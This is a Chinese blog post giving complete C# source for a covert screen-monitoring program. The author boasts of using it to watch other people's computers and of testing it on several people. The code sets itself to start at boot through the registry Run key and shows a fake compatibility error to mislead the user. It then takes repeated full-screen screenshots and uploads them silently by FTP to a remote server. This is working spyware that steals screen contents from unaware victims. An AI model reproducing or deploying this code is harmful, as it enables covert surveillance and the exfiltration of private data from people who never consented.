【小程序】实时截屏上传到服务器
这些日子就像一条咸鱼。天气太热了,什么都不想做。
继续以前的想法,写一个winform后台实时截图de小程序。这个小小的改进是,你可以把图片上传到你的服务器上。
相当于能够实时监控别人电脑de的画面情况,再加上开机启动,后台运行,一般小白也很难察觉。hhh
找了几个人试试,效果还不错,还发现在QQ上传文件的时候,腾讯的测试机会先查看文件。
在我的程序运行过程中,测试机也被截屏并上传到服务器,感觉新大陆已经发现了。
直接贴算了,代码也不多:
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
//因为以替换形式,保存图片,定义一个全局变量i, fzu0.png fzu1.png fzu2.png fzu(3%3).png fzu(4%3).png
private static int i = 0;
private Bitmap bitmap = null;
private const string imgPath = "CutScreen.png";
private const string CreateimgPath = "D:\\ggg\\img\\";
private const string txtPath = @"CutScreenText.txt";
private void Form1_Load(object sender, EventArgs e)
{
try
{
if (Directory.Exists(CreateimgPath) == false)
Directory.CreateDirectory(CreateimgPath);
}catch{}
StartUp("1");//开机启动
timer1.Start();
MessageBox.Show("oh,当前运行环境不兼容!", "消息提示", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
private void btn_upload_Click(object sender, EventArgs e)
{
}
/// <summary>
/// 全屏截图
/// </summary>
/// <param name="strName"></param>
/// <param name="iVali"></param>
public void ExecCutScreen(string strName, int iVali)
{
bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
Graphics gp = Graphics.FromImage(bitmap);
gp.CopyFromScreen(new Point(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y), new Point(0, 0), bitmap.Size, CopyPixelOperation.SourceCopy);
try
{
string newImg = CreateimgPath + imgPath;
//判断图片是否存在,存在将其删除,用新的替代
if (File.Exists(newImg))
{
File.Delete(newImg);
}
bitmap.Save(newImg, ImageFormat.Png);//存储到本地磁盘
uploadFile(newImg, strName + ".png");
//iVali参数判断,如果iVali=0,说明执行的是现在截取屏幕事件,如果是iVali=1说明执行timer控件事件。
if (iVali == 0)
{
//MessageBox.Show("成功上传!");
}
}
catch(Exception ex) {
//MessageBox.Show(ex.Message);
}
finally
{
gp.Dispose();
bitmap.Dispose();
//iVali参数判断,如果iVali=0,说明执行的是现在截取屏幕事件,如果是iVali=1说明执行timer控件事件。
if (iVali == 1)
{
i++;
}
}
}
/// <summary>
/// 上传到服务器端
/// </summary>
/// <param name="localPath"></param>
/// <param name="strName"></param>
public void uploadFile(string localPath, string strName)
{
Stream strm = null;
FileStream fs = null;
try
{
FileInfo fileInf = new FileInfo(localPath); //本地要上传的文件路径
//上传的ftp路径+文件名
string uri = @"ftp://1.1.1.1/Cut/" + strName;//根据自己连接改下
// 连接
FtpWebRequest reqFTP;
reqFTP = (FtpWebRequest)FtpWebRequest.Create(uri);
reqFTP.UseBinary = true; // 指定数据传输类型
reqFTP.Credentials = new NetworkCredential("ftpName", "ftpPwd"); // ftp用户名和密码
// 默认为true,连接不会被关闭
// 在一个命令之后被执行
reqFTP.KeepAlive = false;
// 指定执行什么命令
reqFTP.Method = WebRequestMethods.Ftp.UploadFile;
//上传文件时通知服务器文件的大小
reqFTP.ContentLength = fileInf.Length;
//缓冲大小设置为kb
int buffLength = 2048;
byte[] buff = new byte[buffLength];
int contentLen;
// 打开一个文件流(System.IO.FileStream) 去读上传的文件
fs = fileInf.OpenRead();
//把上传的文件写入流
strm = reqFTP.GetRequestStream();
// 每次读文件流的kb
contentLen = fs.Read(buff, 0, buffLength);
// 流内容没有结束
while (contentLen != 0)
{
// 把内容从file stream 写入upload stream
strm.Write(buff, 0, contentLen);
contentLen = fs.Read(buff, 0, buffLength);
}
}
catch
{ }
finally
{
// 关闭两个流
strm.Close();
fs.Close();
}
}
int count = 0;
string UserName = System.Environment.UserName;
private void timer1_Tick(object sender, EventArgs e)
{
string time ="" +DateTime.Now.Hour + DateTime.Now.Minute + DateTime.Now.Second;
ExecCutScreen(UserName + "_" + time, 0);
count++;
}
/// <summary>
/// 修改程序在注册表中的键值
/// </summary>
/// <param name="flag">1:开机启动</param>
private void StartUp(string flag)
{
try
{
string path = Application.StartupPath;
string keyName = path.Substring(path.LastIndexOf("\\") + 1);
Microsoft.Win32.RegistryKey Rkey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (flag.Equals("1"))
{
if (Rkey == null)
{
Rkey = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
}
Rkey.SetValue(keyName, path + @"\UploadImages.exe");
}
else
{
if (Rkey != null)
{
Rkey.DeleteValue(keyName, false);
}
}
}
catch
{
}
}
}
只允许程序启动一个:
static class Program
{
private static System.Threading.Mutex mutex;
/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
mutex = new System.Threading.Mutex(true, "OnlyRun");
if (mutex.WaitOne(0, false))
{
Application.Run(new Form1());
}
else
{
MessageBox.Show("程序已经启动过一次!", "提示消息", MessageBoxButtons.OK, MessageBoxIcon.Information);
Application.Exit();
}
}
}